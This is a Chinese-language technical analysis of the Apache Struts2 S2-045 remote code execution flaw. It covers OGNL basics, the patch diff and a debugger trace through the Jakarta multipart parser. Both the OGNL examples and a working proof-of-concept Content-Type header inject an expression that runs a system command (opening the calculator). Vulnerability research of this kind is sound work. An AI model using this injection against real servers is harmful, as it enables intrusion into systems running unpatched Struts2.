【Struts2-命令-代码执行漏洞分析系列】S2-045

2018-09-08 首发于阿里先知: https://xz.aliyun.com/t/2712

0x00 OGNL表达式

1) ognl基本介绍

OGNL是Object-Graph Navigation Language(对象图导航语言)的缩写,它是一种功能强大的表达式语言(比EL更强大),通过简单一致的表达式语法,可以存取对象的任何属性,调用对象的方法,遍历整个对象的结构图,实现字段类型转化等功能。
xwork提供了OGNL表达式。其jar包为ognl-x.x.x.jar。
Struts2框架使用OGNL作为默认的表达式语言。
OGNL有三大要素,分别是表达式、根对象、Context对象。
表达式是整个OGNL的核心,OGNL根据表达式去对象中取值。所有OGNL操作都是针对表达式解析后进行的。
根对象(Root):Root对象可以理解为OGNL的操作对象,表达式规定了”做什么”,而Root对象则规定了”对谁操作”。OGNL称为对象图导航语言,所谓对象图,即以任意一个对象为根,通过OGNL可以访问与这个对象关联的其它对象。
Context对象:OGNL的取值还需要一个上下文环境。Root对象所在环境就是OGNL的上下文环境(Context)。上下文环境规定了OGNL的操作在哪里进行。上下文环境Context是一个Map类型的对象,在表达式中访问Context中的对象,需要使用”#”号加上对象名称,即#”对象名称”的形式,表示了与访问Root对象的区别。

2)ognl基本用法示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package lltest;

import ognl.Ognl;
import ognl.OgnlContext;
import ognl.OgnlException;

public class ognltest1 {
public static void main(String[] args) throws OgnlException {
//创建一个Ognl上下文对象
OgnlContext context = new OgnlContext();

// 调用对象的方法
Object obj1 = Ognl.getValue("'helloworld123'.length()", context, context.getRoot());
System.out.println(obj1);

// 获取OGNL上下文的对象
context.put("name", "lltest");
Object obj2 = Ognl.getValue("#name", context, context.getRoot());
System.out.println(obj2);

//调用类静态方法
//@[类全名(包括包路径)]@[方法名|值名]
Object obj3 = Ognl.getValue("@java.lang.String@format('hello %s', 'lltest')", context);
System.out.println(obj3);
}
}

说明:需要导入ognl-3.0.6.jar

3) ognl执行系统命令

用法: @[类全名(包括包路径)]@[方法名|值名] 即@包名.类名@方法名 如:

1
Object obj = Ognl.getValue("@java.lang.Runtime@getRuntime().exec('calc')", context);

完整示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package lltest;

import ognl.Ognl;
import ognl.OgnlContext;
import ognl.OgnlException;

public class OsExec {
public static void main(String[] args) throws OgnlException {
OgnlContext context = new OgnlContext();
//@[类全名(包括包路径)@[方法名|值名]]
//执行命令
Object obj = Ognl.getValue("@java.lang.Runtime@getRuntime().exec('calc')", context);
System.out.println(obj);
}
}

说明:需要导入javassist-3.11.0.GA.jar和ognl-3.0.6.jar 两个jar包

0x01 S2-045漏洞简述

Struts2默认处理multipart上传报文的解析器为Jakarta插件(org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest类)。
但是Jakarta插件在处理文件上传(multipart)的请求时会捉捕异常信息,并对异常信息进行OGNL表达式处理。当content-type错误时会抛出异常并带上Content-Type属性值,可通过构造附带OGNL表达的请求导致远程代码执行。
影响Struts2版本: Struts 2.3.5 – Struts 2.3.31, Struts 2.5 – Struts 2.5.10
官方通告详情:
https://cwiki.apache.org/confluence/display/WW/S2-045

0x02 S2-045漏洞分析

为复现漏洞,可使用struts2.3.x环境下自带的struts2-showcase演示demo示例环境,进行漏洞复现。下载struts-2.3.20-apps.zip (http://archive.apache.org/dist/struts/2.3.20/ )
或者自行编写简单测试样例,不去详述了。
下面使用eclipse对struts-2.3.20进行动态分析:

1) 漏洞补丁对比

https://github.com/apache/struts/commit/352306493971e7d5a756d61780d57a76eb1f519a?diff=split
主要对core/src/main/java/org/apache/struts2/dispatcher/multipart/JakartaMultiPartRequest.java中的
return LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, e.getMessage(), args); 进行删除,并重新定义

2)Jakarta解析multipart上传请求

Struts2默认处理multipart上传报文的解析器是plugin插件(org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest类)

StrutsPrepareAndExecuteFilter类是Struts2默认配置的入口过滤器。Struts2首先对输入请求对象request的进行封装:

1
request = prepare.wrapRequest(request);

路径struts-2.3.20\src\core\src\main\java\org\apache\struts2\dispatcher\ng\filter\StrutsPrepareAndExecuteFilter.java

跟进wrapRequest()

继续跟进wrapRequest()
路径struts-2.3.20\src\core\src\main\java\org\apache\struts2\dispatcher\Dispatcher.java

此处有两个关注点:

1
1)if (content_type != null && content_type.contains("multipart/form-data")) {

S2-045的POC一般都有(#nike=’multipart/form-data’)这样一句,就是使content_type.contains(“multipart/form-data”)判断为true

1
2)MultiPartRequest mpr = getMultiPartRequest();

继续追踪getMultiPartRequest方法。通过配置struts.multipart.parser属性,可以指定不同的解析类,而默认就是org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest类。

3) 加断点动态测试

弹出计算器POC:

1
Content-Type: haha~multipart/form-data %{#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc')};

JakartaMultiPartRequest.java - buildErrorMessage()

路径struts-2.3.20\src\core\src\main\java\org\apache\struts2\dispatcher\multipart
在return LocalizedTextUtil.findText()处加断点

1
2
3
4
5
6
7
protected String buildErrorMessage(Throwable e, Object[] args) {
String errorKey = "struts.messages.upload.error." + e.getClass().getSimpleName();
if (LOG.isDebugEnabled()) {
LOG.debug("Preparing error message for key: [#0]", errorKey);
}
return LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, e.getMessage(), args); //加断点
}


到达断点return LocalizedTextUtil.findText(),执行下一步,即可弹出计算器:
此时e的值为:

1
org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn't contain a multipart/form-data or multipart/mixed stream, content type header is haha~multipart/form-data %{#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc')};


下面到达断点return LocalizedTextUtil.findText() 然后跟进findText()方法继续调试

LocalizedTextUtil.java

路径struts-2.3.20\src\xwork-core\src\main\java\com\opensymphony\xwork2\util\ LocalizedTextUtil.java

findText()
1
return LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, e.getMessage(), args);

跟进LocalizedTextUtil.findText()

1
return findText(aClass, aTextName, locale, defaultMessage, args, valueStack);

继续跟进return findText()

1
2
3
此时indexedTextName为:null
defaultMessage为:
the request doesn't contain a multipart/form-data or multipart/mixed stream, content type header is haha~multipart/form-data %{#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc')};

getDefaultMessage()
1
result = getDefaultMessage(aTextName, locale, valueStack, args, defaultMessage);

继续跟进getDefaultMessage()

TextParseUtil.java - translateVariables()
1
MessageFormat mf = buildMessageFormat(TextParseUtil.translateVariables(message, valueStack), locale);

继续跟进 translateVariables()

translateVariables()方法使用了 ognl 的 $ 与 % 标签,两者都能告诉执行环境 ${} 或 %{} 中的内容为ognl表达式。所以POC中使用 % 或者$ 都可以触发漏洞。

1
return parser.evaluate(openChars, expression, ognlEval, maxLoopCount);

继续跟进return translateVariables()
最后调用了evaluate()方法解析OGNL,执行代码

1
此时expression值为the request doesn't contain a multipart/form-data or multipart/mixed stream, content type header is haha~multipart/form-data %{#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc')};

evaluate()方法说明
1
ParsedValueEvaluator ognlEval = new ParsedValueEvaluator() {

跟进ParsedValueEvaluator()

translateVariables()方法继承接口com.opensymphony.xwork2.util.TextParseUtil.ParsedValueEvaluator
在创建对象后重写了evaluate()方法
通过该方法的说明文档可知evaluate()方法会解析ognl表达式
https://struts.apache.org/maven/struts2-core/apidocs/com/opensymphony/xwork2/util/TextParseUtil.ParsedValueEvaluator.html

参考:

https://paper.seebug.org/241/
https://paper.seebug.org/247/